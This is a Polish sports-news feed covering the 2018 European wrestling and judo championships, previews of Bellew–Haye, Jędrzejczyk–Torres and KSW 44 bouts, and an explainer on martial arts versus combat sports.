Gadżijew ponownie ze srebrem

Magomedmurad Gadżijew (70kg) wicemistrzem Europy w zapasach w stylu wolnym. Reprezentant Polski powtórzył wynik osiągnięty przed rokiem w Nowym Sadzie.

Przed rozpoczęciem rywalizacji w Kaspijsku, Gadżijewa wymieniano w gronie kandydatów do podium. Rok temu w Nowym Sadzie zapaśnik AKS Piotrków Trybunalski zdobył srebro. W finale Gadżijew przegrał z Frankiem Chamizo Marquezem. Z kolei w 2016 roku urodzony w Dagestanie zawodnik wywalczył mistrzostwo Europy.

Doświadczony 30-latek polował na trzeci medal czempionatu Starego Kontynentu w barwach Polski. Zmagania w Kaspijsku rozpoczął od pokonania 5:4 Azmata Nurykausa. W kolejnych fazach reprezentant Polski wyeliminował Haydara Yavuza i Murtazaliego Raxmatullayevicia Muslimova. O złoto Gadżijew rywalizował z Magomedem Kurbanalijewem. Rosjanin miał na swoim koncie triumf w mistrzostwach świata i Europy. W Kaspijsku okazał się lepszy od Gadżijewa. Na podium stanęli również: Muslimov i Zurabi Iakobishvili.

Bez medalu mistrzostw Europy do kraju wróci Krzysztof Bieńkowski (65kg) rywalizujący w stylu wolnym. Polak znakomicie zaczął zmagania. Dwie wygrane walki dały mu awans do półfinału, w którym lepszy okazał się Ilias Bekbulatov. Ostatecznie Rosjanin sięgnął po srebro. Z kolei Bieńkowski stanął do rywalizacji o brązowy medal. Polak nie miał łatwego zadania. Bieńkowski trafił na mistrza olimpijskiego z Rio de Janeiro (57kg) i mistrza Europy z 2017 roku Władimera Chinczegaszwiliego. Gruzin wygrał 8:4 i to on stanął na najwyższym stopniu podium. Złoto wywalczył Haji Aliyev z Azerbejdżanu.

W Kaspijsku dwa medale dla reprezentacji Polski wywalczyły panie. Najpierw ze srebra cieszyła się Roksana Zasina, a następnie przyszła radość w postaci brązu Katarzyny Krawczyk (53kg). Zapaśniczka Gryfa Chełm wygrała dwie walki, ale w półfinale lepsza okazała się Stalvira Orshush, która w ostatecznym rozrachunku sięgnęła po złoto. Krawczyk pozostało starcie o brąz, które rozegrała perfekcyjnie. Od początku Polka kontrolowała walkę z Węgierką Mercedesz Denes i wygrała przez położenia na plecy.

Piąte miejsce dla Agnieszki Król (62kg). Zawodniczka Unii Racibórz walkę o brąz przegrała z Weraniką Iwanową.

KM

Kto wypadnie z ringu?

Jeszcze nie weszli do ringu, a atmosfera już jest gorąca. 5 maja Tony Bellew i David Haye spotkają się po raz drugi. Oliwy do ognia dodał "Bomber", który podczas face-offu zaatakował rywala.

Wszyscy liczą na wielkie widowisko, bo mają ku temu powody. 4 marca 2017 roku Bellew i Haye stoczyli niezwykle zaciętą i widowiskową walkę. Po raz kolejny kibice spodziewają się wielkich emocji.

Przed pierwszym starciem Haye był pewny siebie i zapowiadał, że znokautuje rywala. W ringu były mistrz świata WBA wagi ciężkiej prezentował zachowawczą postawę. Haye czekał na swoją szansę, ale Bellew był w pełni skoncentrowany. Kibice obserwowali i zastanawiali się, czy bokserskie szachy będą trwały w nieskończoność. W końcu Haye i Bellew ruszyli na siebie. Publiczność ożyła. Haye dwukrotnie przysiadł, ale wyratował się od liczenia. Bellew był konsekwentny i rywal zaliczył deski, jednak uratował go gong. Były czempion WBC wagi junior ciężkiej zaczął rozdawać karty. W 7. rundzie Haye ze zmęczenia jedną ręką trzymał się lin. "Hayemaker" przetrwał ciężkie chwile i nawiązał walkę, ale… W przedostatniej rundzie Bellew przeprowadził natarcie, po którym rywal znalazł się za linami. Narożnik Haye'a poddał walkę. Warto dodać, że były mistrz WBA wagi ciężkiej w trakcie rywalizacji zmagał się z kontuzją ścięgna Achillesa.

Tak wyglądał obraz pojedynku z marca zeszłego roku. Wygrana Bellewa uchodziła za niespodziankę. Jak będzie teraz? Haye zapowiada, że jest gotowy na dwunastorundową wojnę. Blisko 37-letni bokser ubiegłoroczną porażkę rozpatruje w kategorii "wypadku przy pracy". Wtedy ze względu na kontuzję nie był w pełni dysponowany, ale teraz jest gotowy do walki. Bellew jest pewny swego i podkreśla, że nie ma znaczenia, kiedy miałby rywalizować z Haye'm, bo i tak jest od niego lepszy.

Temperatura wokół walki jest wysoka. Podczas face-offu Bellew odepchnął Haye’a, czym sprowokował niepotrzebne utarczki. W ringu przemówią pięści. Dla Haye’a kolejna porażka oznaczać będzie pożegnanie się z marzeniami o odegraniu jakiejkolwiek roli w wadze ciężkiej. Z kolei Bellew stoczy drugi pojedynek w kategorii królewskiej. Jeśli ponownie wygra, zadomowi się w niej na dobre. Jedno jest pewne – zwycięzca stanie się kandydatem do rywalizacji o pasy, które znajdują się w posiadaniu Anthony’ego Joshuy i Deontaya Wildera.

Pojedynek Bellew – Haye odbędzie się 5 maja w O2 Arenie w Greenwich.

Fot. David Haye Facebook

KM

Zasina z trzecim medalem ME

Roksana Zasina (55kg) zapisała na swoim koncie trzeci medal mistrzostw Europy w zapasach. W Kaspijsku zawodniczka wywalczyła srebro.

Brązowa medalistka mistrzostw świata z Paryża stoczyła w Rosji trzy pojedynki. Rywalizację w czempionacie rozpoczęła od ćwierćfinału, gdzie czekała na nią Anna Wojtowa. Zasina pokazała się z dobrej strony i wygrała w ekspresowym tempie. Polka potrzebowała zaledwie 40 sekund, aby odprawić Ukrainkę. W półfinale Zasina toczyła wyrównany bój z Bedihą Gun. Ostatecznie pokonała Turczynkę 2:1. W pojedynku o złoto 29-latka spotkała się z Iryną Kuraczkiną, która w dorobku miała srebro mistrzostw Europy. Zasina pierwsza zdobyła punkt, ale później Białorusinka przeprowadziła dwie skuteczne akcje. W końcówce Polka wyrównała i było 4:4, ale wygrała Kuraczkina, która punktowała dwa razy po dwa.

To kolejny sukces Zasiny w mistrzostwach Europy. W 2013 roku w Tbilisi została mistrzynią Europy, a trzy lata później stanęła na najniższym stopniu podium w Rydze. Na swoim koncie Zasina ma także brąz mistrzostw świata w Paryżu.

O czwarty brąz mistrzostw Europy w karierze miała okazję rywalizować Monika Michalik (68kg). Trzecia zawodniczka Igrzysk Olimpijskich w Rio de Janeiro, wtedy rywalizowała w 63kg, nie sprostała jednak Buse Tosun.

Doskonała postawa Katarzyny Krawczyk (53kg). 27-letnia Polka pewnie wygrała dwa pojedynki i w półfinale spotkała się z Stalvirą Orshush. Krawczyk długo prowadziła, ale lepsza okazała się Rosjanka. Polce pozostaje rywalizacja o brąz.

Szansę w repasażach dostanie Agnieszka Król (62kg). W ćwierćfinale bezlitosna dla Polki okazała się Taybe Mustafa Yusein. Bułgarka znakomicie spisuje się w Rosji i ma szansę na złoto. Jej rywalką będzie Inna Trazhukova. Z kolei Król w repasażach spotka się z Aurorą Campagną z Włoch.

Szybko z rywalizacją w Kaspijsku pożegnały się Jowita Wrzesień (57kg) i Agnieszka Wieszczek-Kordus (72kg).

Fot. Polski Związek Zapaśniczy Facebook

KM

Torres kolejną rywalką Jędrzejczyk

Joanna Jędrzejczyk może już myśleć o kolejnym pojedynku. Jak podała stacja ESPN, była mistrzyni kategorii słomkowej zmierzy się z Tecią Torres podczas gali UFC on FOX 30 w Calgary.

Dotychczasowa hierarchia runęła. Joanna Jędrzejczyk przyjęła dwa potężne ciosy od Rose Namajunas i teraz cały świat MMA czeka na kolejną walkę Polki zadając sobie pytanie, czy jeszcze wróci na tron.

30-letnia olsztynianka stała się gwiazdą UFC. Jędrzejczyk rządziła w kategorii słomkowej i pięć razy skutecznie broniła pasa. Zaskoczyła ją Rose Namajunas, która podczas UFC 217 znokautowała Polkę w pierwszej rundzie. Jędrzejczyk pałała żądzą rewanżu i ponownie spotkała się z Amerykanką. Po pięciorundowym boju sędziowie wskazali na Namajunas.

Olsztynianka nadal pozostaje czołową fighterką kategorii słomkowej, ale musi się odbudować. Najbliższa okazja ku temu 28 lipca. Rywalką Polki będzie Tecia Torres. – Nie odnosi sukcesów tylko ten, który czeka aż samo się zrobi – napisała Joanna Jędrzejczyk na Facebooku.

Co ciekawe, najbliższa przeciwniczka Polki również mierzyła się z Rose Namajunas w UFC. W kwietniu 2016 roku Torres musiała uznać wyższość obecnej mistrzyni. Jednak wcześniej obie spotkały się w organizacji Invicta. Tam lepsza okazała się Torres.

Po serii trzech wygranych w UFC, w lutym 28-latka spotkała się z mocną Jessicą Andrade. Sędziowie wskazali na 26-letnią Brazylijkę. Warto dodać, że Amerykanka ma na koncie osiem występów w UFC. Dla Torres starcie z Jędrzejczyk będzie ogromnym wyzwaniem. Wygrana da jej przepustkę do czołówki kategorii słomkowej. Z kolei Jędrzejczyk jest głodna zwycięstwa. Niebawem minie rok od jej triumfu w starciu z Jessicą Andrade na UFC 211.

Karta walk gali UFC on FOX 30 zapełnia się. Niezwykle ciekawie zapowiada się starcie byłego mistrza wagi piórkowej Jose Aldo z Jeremy'm Stephensem. Brazylijczyk ma za sobą dwie porażki z Maxem Hollowayem, z kolei 31-letni Amerykanin zanotował trzy zwycięstwa. W Calgary zaprezentuje się również Randa Markos, którą swego czasu pokonała Karolina Kowalkiewicz. Rywalką Kanadyjki będzie Nina Ansaroff. O dziewiętnastą wygraną postara się Dustin Ortiz, który stanie "oko w oko" z Matheusem Nicolau Pereirą. W Kanadzie zobaczymy również m.in. Alexis Davis czy Jordana Meina.

Fot. Facebook Joanna Jędrzejczyk

KM

 

Polacy czekają na medal

W Kaspijsku trwają mistrzostwa Europy w zapasach. Po dwóch dniach zmagań biało-czerwoni pozostają bez medalu, ale niebawem może się to zmienić.

Wszystko za sprawą Dawida Karecińskiego (67kg) i Gevorga Sahakyana (72kg), którzy rywalizują w stylu klasycznym. Trzeciego dnia mistrzostw czekają ich starcia o brązowe medale.

We wtorek Kareciński dotarł do półfinału. Zmagania rozpoczął od 1/8 finału, gdzie spotkał się z Valeriu Todereanem. Polak pewnie pokonał Mołdawianina, który nie potrafił znaleźć sposobu na zagrożenie naszemu zapaśnikowi. Ćwierćfinał nie był łatwy. Zawodnik z Bułgarii postawił trudne warunki Karecińskiemu. Zapaśnik reprezentujący WKS Śląsk Wrocław skutecznie się bronił, a Bułgar w drugiej rundzie zanotował ostrzeżenie. Ostatecznie Kareciński wygrał 3:1. W półfinale Polak trafił na Artema Surkova. Najpierw Kareciński stracił punkt za pasywność, a później Rosjanin. Ale… Trenerzy Surkova poprosili o challenge, sędziowie zmienili decyzję. Do finału awansował Rosjanin, a Polak stanie do rywalizacji o brąz.

Z kolei Sahakyan zmagania w Kaspijsku rozpoczął od pojedynku z Maximilianem Schwabe. Reprezentant Polski mocno wszedł w pojedynek. Zapaśnik Cartusi Kartuzy  wykonał rzuty przez plecy za cztery punkty. Niemiec nie chciał sprzedać tanio skóry, ale musiał pogodzić się z porażką. Ostatecznie Sahakyan wygrał 7:4. Przepustkę do półfinału reprezentantowi Polski dal triumf w pojedynku z Evrikiem Nikoghosyanem. Apetyt na finał był ogromny. Sahakyan trafił na Adama Kuraka, który okazał się lepszy i wygrał 7:2.

Na dziewiątym miejscu zmagania w mistrzostwach Europy zakończyli Dawid Ersetic (63kg). Zawodnik Unii Racibórz przegrał pojedynek repasażowy z Ivanem Lizatoiciem. Również dziewiąty był  Tadeusz Michalik (87kg). Mateusz Wolny (77kg) oraz Rafał Krajewski (130kg) na dziesiątych pozycjach.

Po zaledwie jednej walce stoczyli: Michał Tracz (60kg), Edgar Babayan (82kg) i Marcel Kasperek (97kg).

Pierwsi medaliści

W Kaspijsku wielkie świętowanie. Medale w kategoriach 55kg, 63kgm 77kg, 87kg i 130kg zostały rozdane. Złote krążki wywalczyli: Eldaniz Azizli (55kg), Mihai Radu Mihut (66kg), Roman Vlasov (77kg), Roberti Kobliashvili (87kg), Riza Kayaalp.

Trzeciego dnia czekamy na medal. Szanse ku temu są spore. Dwa pojedynki o brąz z udziałem Polaków, a ponadto do rywalizacji przystąpią panie. Na matach zaprezentują się Anna Łukasiak (50kg), Roksana Zasina (55kg) i Monika Michalik (68kg).

Rywalizacja w Kaspijsku potrwa do 6 maja.

Fot. zdjęcie poglądowe

KM

Mistrzostwa za mistrzostwami

Mistrzostwa Europy w grapplingu zakończone, a teraz przyszedł czas na mistrzostwa Europy w zapasach. Gospodarzem obu imprez jest Kaspijsk.

W pobliżu Morza Kaspijskiego zlokalizowano arenę zmagań wojowników. Niebawem na pierwszym planie pojawiają się zapaśnicy, z kolei grapplerzy mogą już podsumowywać swoje występy. Z pewnością w przypadku Polaków dominować będą pozytywne oceny. Biało-czerwoni w europejskim czempionacie zdobyli 13 medali. Do pełni szczęścia zabrakło jedynie złotego krążka. Polacy wywalczyli sześć srebrnych i siedem brązowym medali.

O krok od złota w grapplingu byli: Maciej Kaluszewski (77kg), Daniel Skibiński (92kg). Z kolei na trzecim stopniu podium zameldowali się Tomasz Nowakowski (77kg), Kamil Umiński (100kg), Sandra Pniak (64kg) oraz Magdalena Zaszczudłowicz (+71kg). W grappling NoGi srebrne medale wywalczyli: Paweł Nedzki (84kg), Anna Augustyn-Mitkowska (53kg), Weronika Zygmunt (58kg) i Sandra Pniak (64kg). Na podium znaleźli się również: Piotr Bagiński (92kg), Kamil Umiński (130kg) i Magdalena Zaszczudłowicz (+71kg).

Czas na zapaśników

Od 30 kwietnia do 6 maja o medale w Kaspijsku walczyć będą zapaśnicy. Do Rosji udała się 21-osobowa reprezentacja Polski. Największe nadzieje wiązane są ze startem Magomedmurada Gadżijewa, który rok temu w Nowym Sadzie sięgnął po srebro w kategorii 70kg w stylu wolnym. Kandydatką do podium jest również Monika Michalik (63kg). Zapaśniczka Grunwaldu Poznań w Nowym Sadzie sięgnęła po złoto. W Rosji postara się obronić tytuł.

W polskiej kadrze nie brakuje doświadczonych i utytułowanych zawodników. Wśród nich są medalistki olimpijskie Agnieszka Wieszczek-Kordus (72kg) oraz Monika Michalik (68kg).

Rok temu w Nowym Sadzie biało-czerwoni wywalczyli dwa medale, co dało im dziesiątą pozycję w klasyfikacji końcowej. Najlepsi okazali się wtedy Rosjanie z 16 krążkami.

Kadra Polski na ME:

styl klasyczny

Michał Tracz (60kg, Śląsk Wrocław)

Dawid Ersetic (63kg, Unia Racibórz)

Dawid Karecińśki (67kg, Śląsk Wrocław)

Geworg Sahakjan (72kg, Cartusia Kartuzy)

Mateusz Wolny (77kg, Unia Racibórz)

Edgar Babajan (82kg, Sobieski Poznań)

Tadeusz Michalik (87kg, Sobieski Poznań)

Marcel Kasperek (97kg, GKS Katowice)

Rafał Krajewski (130kg, Legia Warszawa)

styl wolny

Krzysztof Bieńkowski (65kg, AKS Białogard)

Mogomedmurad Gadżijew (70kg, AKS Piotrków Trybunalski)

Zbigniew Baranowski (86kg, AKS Białogard)

Sebastian Jezierzański (92kg, LKS Dąb Brzeźnica)

Robert Baran (125kg, LKS Ceramik Krotoszyn)

kobiety

Anna Łukasiak (50kg, AZS AWF Warszawa)

Katarzyna Krawczyk (53kg, MKS Cement Gryf Chełm)

Roksana Zasina (55kg, ZTA Zgierz)

Jowita Wrzesień (57kg, CSiR Dąbrowa Górnicza)

Agnieszka Król (62kg, Unia Racibórz)

Monika Michalik (68kg, WKS Grunwald Poznań)

Agnieszka Wieszczek-Kordus (72kg, WKS Grunwald Poznań)

Fot. Polski Związek Zapaśniczy Facebook

KM

Sarnacki wypadł najlepiej

Siódme miejsce Macieja Sarnackiego (+100kg) to najlepszy wynik osiągnięty przez biało-czerwonych w mistrzostwach Europy w judo, które odbyły się w Tel Awiwie. Karty rozdawali Rosjanie.

Do Tel Awiwu udała się 11-osobowa reprezentacja Polski. Pierwsze dwa dni zmagań nie przyniosły medalowych występów biało-czerwonych. Wszyscy wiązali nadzieje ze startem Piotra Kuczery (90kg), który w swoim dorobku ma już medal mistrzostw Europy oraz piątym zawodnikiem poprzedniego czempionatu Maciejem Sarnackim.

Judoka Gwardii Olsztyn start w Tel Awiwie rozpoczął od pojedynku z Vito Dragiciem. W swojej karierze Słoweniec stawał na podium jedynie w zawodach na poziomie kontynentalnym. Sarnacki górował doświadczeniem i jego wygrana wydawała się sprawą oczywistą. Polak musiał być cierpliwy, ale walka zakończyła się po jego myśli. Następnie Sarnacki trafił na młodego i zdolnego Stephana Hegyia. 19-latek z Austrii rok temu został wicemistrzem świata juniorów. Austriak wygrał przez waza-ari, a Sarnacki musiał szukać szansy w repasażach. Tam Polak trafił na doświadczonego Henka Grola. Lepiej rozpoczął Sarnacki, który zdobył punkty za waza ari. Chwilę później Grol zakończył pojedynek.

Rok temu w Warszawie Piotr Kuczera wygrał jedną walkę. W Tel Awiwie brązowy medalista z Kazania z 2016 roku szybko pożegnał się z rywalizacją. Walka z Krisztianem Tothem była niezwykle zacięta, ale zwycięsko wyszedł z niej Węgier.

Debiut w mistrzostwach Europy ma za sobą Rafał Kozłowski (90kg). Polak zmierzył się z Czechem Jirim Petrem. 23-latek wygrał przez ippon.

Najlepsi Rosjanie

Bezkonkurencyjni w Tel Awiwie okazali się Rosjanie, którzy zapisali na swoim koncie osiem medali, w tym cztery złote. Na drugim miejscu w klasyfikacji końcowej znaleźli się Francuzi z pięcioma krążkami. Dalej – Belgia, Słowenia, Kosowo po jednym złotym i srebrnym medalu.

Medaliści ME:

-48kg:

1. Irina Dolgova

2. Eva Csernoviczki

3. Maryna Cherniak

3. Milica Nikolic

-52kg:

1. Natalia Kuziutina

2. Distria Krasniqi

3. Gefen Primo

3. Evelyne Tschopp

-57kg:

1. Nora Gjakova

2. Theresa Stoll

3. Anastasiia Konkina

3. Telma Monteiro

-63kg:

1. Clarisse Agbegnenou

2. Tina Trstenjak

3. Lucy Renshall

3. Martyna Trajdos

-70kg:

1. Kim Polling

2. Sally Conway

3. Gemma Howell

3. Michaela Polleres

-78kg:

1. Madeleine Malonga

2. Audrey Tcheumeo

3. Natalie Powell

3. Anna Maria Wagner

+78kg:

1. Romane Dicko

2. Larisa Ceric

3. Yelzaveta Kalanina

3. Tessie Savelkouls

-60kg:

1. Islan Yashuev

2. Yanislav Gerchev

3. Ashley McKenzie

3. Beslan Mudranov

-66kg:

1. Adrian Gomboc

2. Matteo Medves

3. Tal Flicker

3. Dzmitry Shershan

-73kg:

1. Ferdinand Karapetian

2. Hidayat Heydarov

3. Bilal Ciloglu

3. Tommy Macias

-81kg:

1. Sagi Muki

2. Sami Chouchi

3. Antonio Esposito

3. Asian Lappinagov

-90kg:

1. Mikhail Igolnikov

2. Nemanja Majdov

3. Nikoloz Sherazadishvili

3. Theodoros Tselidis

-100kg:

1. Toma Nikoforov

2. Cyrille Maret

3. Zelym Kotsoiev

3. Peter Paltchik

+100kg:

1. Lukas Krpalek

2. Tamerlan Bashaev

3. Henk Grol

3. Stephan Hegyi

KM

Drugi dzień bez medalu

Trwają mistrzostwa Europy w judo w Tel Awiwie. Drugi dzień okazał się nieudany dla Polaków. Nasi reprezentanci szybko pożegnali się z rywalizacją.

Przypomnijmy. Pierwotnie do Izraela miała się udać 12-osobowa reprezentacja Polski. W ostatniej chwili ze startu musiała zrezygnować Beata Pacut (78kg), która zmaga się z kontuzją barku. Pierwszego dnia mistrzostw Europy na tatami zaprezentowały się cztery Polki. Karolina Pieńkowska (52kg) i Anna Borowska (57kg) wygrały po jednej walce, a kolejne pojedynki nie ułożyły się po ich myśli. Z kolei Agata Perenc (52kg) i Julia Kowalczyk (57kg) szybko pożegnały się z rywalizacją.

Drugiego dnia na tatami weszła Agata Ozdoba-Błach (63kg). Brązowa medalistka zeszłorocznych mistrzostw świata w tym roku otarła się o podium w Grand Slamie w Jekaterynburgu. W czempionacie globu zaprezentowała się po raz piąty. Do tej pory na koncie miała brąz z mistrzostw w 2014 roku. I tak pozostanie. Polka trafiła na utalentowaną Holenderkę Sanne Vermeer. 20-latka ma na koncie dwa złota mistrzostw kontynentu juniorów. Vermeer odprawiła Ozdobę-Błach, ale w kolejnej walce przegrała z doświadczoną Martyną Trajdos.

Los nie oszczędził Karoliny Tałach (63kg). W pierwszej walce Polka trafiła na mistrzynię olimpijską z Rio de Janeiro, mistrzynię świata i wicemistrzynię Europy Tinę Trstenjak. Słowenka wygrała przed czasem.

Dobrze zmagania w Tel Awiwie rozpoczęła Daria Pogorzelec (70kg). Na początek 27-latka pokonała przed czasem mistrzynię Europy U23 z 2016 roku Węgierkę Szabinę Gercsak. W kolejnej walce Pogorzelec trafiła na Marię Bernabeu. 30-letnia brązowa medalistka mistrzostw świata znalazła sposób na Polkę po upływie blisko 2,5 minuty.

W piątek zaprezentował się pierwszy z naszych panów. Damian Szwarnowiecki (81kg) szybko pożegnał się z rywalizacją. Polak przed czasem przegrał z Węgrem Laszlo Csoknayai.

Dobry początek Rosjan

Mistrzostwa Europy fantastycznie rozpoczęły się dla Rosjan. W czwartek reprezentanci Sbornej zgarnęli trzy z pięciu możliwych do zdobycia złotych medali. Na najwyższym stopniu podium stawali: Irina Dolgova (48kg), Natalia Kuziutina (52kg) oraz Islan Yashuev (60kg).

Fot. IJF – zdjęcie poglądowe

KM

Walka o medale rozpoczęta

W Tel Awiwie wystartowały mistrzostwa Europy w judo. Jako pierwsze do zmagań przystąpiły panie w kategoriach 52kg i 57kg. Polki szybko pożegnały się z rywalizacją.

Rok temu emocjonowaliśmy się zmaganiami o medale mistrzostw Europy w warszawskiej hali Torwar. Biało-czerwoni zakończyli zmagania z jednym medalem. Po srebro sięgnęła reprezentacja Polski kobiet, która w finałowym boju przegrała z Francją. To właśnie zawodniczki i zawodnicy Trójkolorowych z ośmioma krążkami na koncie okazali się najlepsi w klasyfikacji medalowej.

Tym razem areną zmagań o medale mistrzostw Europy został Tel Awiw. W Izraelu pojawiło się blisko 370 judoczek i judoków, w tym 11 reprezentantów Polski.

Pierwszego dnia zmagań zaprezentowały się panie w kategoriach 52kg i 57kg. Agata Perenc została "rzucona na głęboką wodę". W pierwszej walce trafiła na Joanę Ramos z Portugalii, która rok temu sięgnęła po brąz mistrzostw Europy. 36-latka zaliczyła waza ari i awansowała do kolejnej rundy, jednak tam przegrała z Anją Stangar. Lepiej wypadła druga z naszych judoczek rywalizujących w 52kg. Karolina Pieńkowska pokonała Daryę Skrypnik, jednak w drugiej walce przegrała z czwartą zawodniczką światowego rankingu – Distrią Krasniqi.

Anna Borowska bez większych problemów uporała się z Ulviyyą Rahimli. W drugim starciu lepsza od Polki okazała się Daria Mezhetskaia, która w 2016 roku zdobyła brązowy medal mistrzostw Europy U23. Nie powiodło się Julii Kowalczyk. 20-latka nie sprostała Chorwatce Tenie Sikić.

Czas na kolejnych

Czekamy na występy kolejnych reprezentantów Polski. 27 kwietnia na tatami zaprezentuje się Agata Ozdoba-Błach (63kg), która w 2014 roku w czempionacie globu w Montpellier wywalczyła brąz. Po raz piąty w mistrzostwach Europy zaprezentują się Karolina Tałach (63kg), Daria Pogorzelec (70kg) oraz Damian Szwarnowiecki (81kg).

Z kolei 28 kwietnia  miała wystąpić Beata Pacut (78kg), która w imprezie rangi mistrzostw Europy debiutowała rok temu w Warszawie, jednak na przeszkodzie stanęła jej kontuzja. Z pewnością zawodniczka będzie ściskała kciuki za koleżanki i kolegów z kadry. W Tel Awiwie premierowy występ zaliczy Rafał Kozłowski (90kg). Dwa lata temu w Kazaniu niespodziankę sprawił Piotr Kuczera (90kg), który wywalczył brąz. Czy uda mu się powtórzyć ten wyczyn? W 2017 roku Maciej Sarnacki (+100kg) był o krok od podium mistrzostw Europy. Ostatecznie zajął piąte miejsce. Przed Sarnackim szósty występ na mistrzostwach Europy.

Z kim będą rywalizować Polacy?

63kg: Agata Ozdoba-Błach (Polska) – Sanne Vermeer (Holandia) , Karolina Tałach (Polska) – Tina Trstenjak (Słowenia)

70 kg: Daria Pogorzelec (Polska) – Szabina Gercsak (Węgry)

81 kg: Damian Szwarnowiecki (Polska) – Laszlo Csoknyai (Węgry)

90 kg: Piotr Kuczera (Polska) – Krisztian Toth (Węgry), Rafał Kozłowski (Polska) – Jiri Petr (Czechy)

+100 kg: Maciej Sarnacki (Polska) – Vito Dragic (Słowenia)

KM

Sztuki walki – co dają, którą zacząć uprawiać?

Ludzie trenują sztuki walki nie tylko po to, by uzyskać określoną umiejętność. Takie treningi to również świetny sposób na to, by pozostać w formie, a do tego zyskać ważną lekcję dla naszego charakteru. Popularność sztuk walk rośnie, a wraz z nią zwiększa się liczba miejsc, w których można uprawiać przeróżne dyscypliny sportowe – od kung fu po boks. Zobaczmy, czym różnią się od siebie sztuki i sporty walki.

Sztuki walki – coraz bardziej egzotycznie

Niegdyś można było ćwiczyć takie style jak judo, bok czy karate. Dzisiaj nie brakuje ofert treningów o najbardziej egzotycznie brzmiących nazwach. Muay thai, capoeira, wushu to jedynie kilka z przykładów. Wschodnie sztuki walki to nie tylko nauka bicia się, a w zasadzie – to bardziej nauka obrony, ale również poznanie określonego systemu filozoficznego. Aktywność fizyczna jest wówczas sposobem na zrozumienie samego siebie.

Sztuki walki – wpływ na psychikę

Sztuki walki kształtują charakter. Pomagają uczyć się tak ważnych cech jak wytrwałość, odpowiedzialność, a nawet pokora. To także świetna metoda na wyrobienie w sobie nawyku natychmiastowego podejmowania decyzji, czyli refleksu. Trening judo czy boksu pozwala wyładować wszystkie napięcia, jakie spotykają nas w pracy. Wchodząc na ring lub na matę można zapomnieć o konfliktach w rodzinie. Treningi to również świetna zabawa. Fani określonej sztuki walki często spędzają ze sobą czas również poza treningami. Prowadzi to do powstawania przyjaźni na całe lata.

Sztuki walki – jak wpływają na ciało?

Sztuki walki dają chyba jeszcze więcej korzyści naszemu ciało. To przede wszystkim świetny sposób na pozbycie się nadprogramowych kilogramów. Godzinny trening sprawia, że spalamy naprawdę wiele energii. Regularne treningi polepszają kondycję i koordynację ruchową. W trakcie ćwiczeń rozwijają się chyba wszystkie partie naszego ciała. Sztuki walki można uprawiać również w bardziej lekkiej wersji, gdy są one połączone z ćwiczenia typu fitness.

Sztuki walki i sporty walki – różnice

Zasadniczo sztuki walki należałoby odróżnić od sportów walki. Te pierwsze opierają się na spokoju, a nie na agresji czy rywalizacji. Najważniejsze w nich jest samoopanowanie. Sztuki walki pochodzą z krajów Orientu. Z kolei sporty walki mają na celu pokonanie przeciwnika, a kwestie duchowe nie mają w nich aż takiego znaczenia lub nie liczą się w ogóle. Chodzi w nich również o to, by móc wyprowadzać ataki z całą siłą, co na przykład w karate nie jest wskazane.

Sztuki walki – rodzaje

Do najpopularniejszych sztuk walki zalicza się:

  • Karate – styl walki wymyślony w celu obrony bez stosowania broni. Stosuje się w nim wiele uderzeń i kopnięć, w trakcie których adepci wydają charakterystyczne odgłosy. Jednak nadrzędnym celem karate jest pokonanie przeciwnika bez użycia przemocy. Liczy się tutaj przede wszystkim aspekt duchowy oraz siła charakteru.

  • Kung fu – chiński styl walki, popularny dzięki Bruce’owi Lee, w którym style są wzorowane na różnych zwierzętach – lamparcie, wężu, żurawiu, tygrysie i smoku. W stylu popularyzowanym w Polsce chodzi o to, by móc bronić się nawet przed większym przeciwnikiem. Dlatego trenujący poznają przede wszystkim czułe punkty przeciwników.

  • Judo – nadrzędnym celem judo jest doskonalenie samego siebie. Stawia się w niej na szybkość, zwinność oraz świadome stosowanie siły. Przeciwnicy zawsze muszą grać fair play, co uczy honorowości.

  • Taekwondo – sztuka walki wywodząca się z Korei. Z początku stosowano ją do szkolenia żołnierzy, dopiero w zeszłym wieku stała się znana jako sztuka walki. Osoby praktykujące taekwondo muszą przestrzegać pięciu zasad moralnych.

Sporty walki

Często uprawiane, a także oglądane sporty walki to:

  • Boks – walka w rękawicach bokserskich i w ringu. Podczas pojedynku zakazane jest bicie w głową, z kolana oraz z łokcia. Liczy się nie tylko silny prawy sierpowy, ale również zwinność.

  • MMA – czyli inaczej mieszane sztuki walki, w której wszelkie chwyty są dozwolone. MMA czerpie z wielu innych technik, zapewniając tym samym zróżnicowany pojedynek i duże widowisko.

Stare porachunki

Jeden z nich ponownie znajdzie się w posiadaniu pasa wagi piórkowej. 9 czerwca  na KSW 44 dojdzie do starcia Klebera Koike Erbsta z Marcinem Wrzoskiem. W karcie walk widnieją również nazwiska m.in. Borysa Mańkowskiego oraz Mariusz Pudzianowskiego.

Koike Erbst efektownie przywitał się z polskimi kibicami. Na gali KSW 30 w Poznaniu w pierwszej rundzie zmusił do poddania Anzora Azieva. Japoński zawodnik perfekcyjnie wykonał duszenie trójkątne nogami. Wiadomo było, że KSW trafiło na zawodnika o ponadprzeciętnych umiejętnościach. Włodarze federacji nie czekali długo i w kolejnym starciu Koike Erbst miał szansę zdobyć pas, ale uległ Arturowi Sowińskiemu. Później stoczył trzy pojedynki, które zakończyły się po jego myśli. Szczęśliwy dla 28-latka okazał się stadion PGE Narodowy. Koike Ebrst na KSW 39 pokonał Marcina Wrzoska i zdobył pas w wadze piórkowej. Japończyk miał go bronić w starciu z Arturem Sowińskim, ale… przesadził z wagą i odebrano mu tytuł.

Zatem pas leży i czeka. Kto po niego sięgnie? Koike Erbst i Wrzosek wiedzą jak smakuje tytuł mistrzowski. Wiadomo, że Polak tanio skóry nie sprzeda. "Polski Zombie" potrafi być bezlitosny dla rywali, o czym dotkliwie przekonał się Artur Sowiński. W ostatniej walce Wrzosek na dystansie trzech rund okazał się lepszy od Romana Szymańskiego. – Wracam po mój pasek! Bądźcie tam ze mną moje Zombiaczki! – napisał zawodnik na swoim Facebooku. Czy Polak pokona swojego jedynego pogromcę w KSW?

W Ergo Arenie nie będzie nudy

9 czerwca w hali położonej na granicy Gdańska i Sopotu czołowymi postaciami będą Karol Bedorf i Mariusz Pudzianowski. O tym starciu mówiło się od dawna. Ten pojedynek wyłoni czołowego zawodnika MMA wagi ciężkiej w Polsce, a zarazem pretendenta do tytułu KSW. Bedorf pas utracił blisko półtora roku temu na rzecz Fernando Rodriguesa Jr. Od tamtej pory Polak nie walczył. Z kolei Pudzianowski ma za sobą trzy wygrane z rzędu.

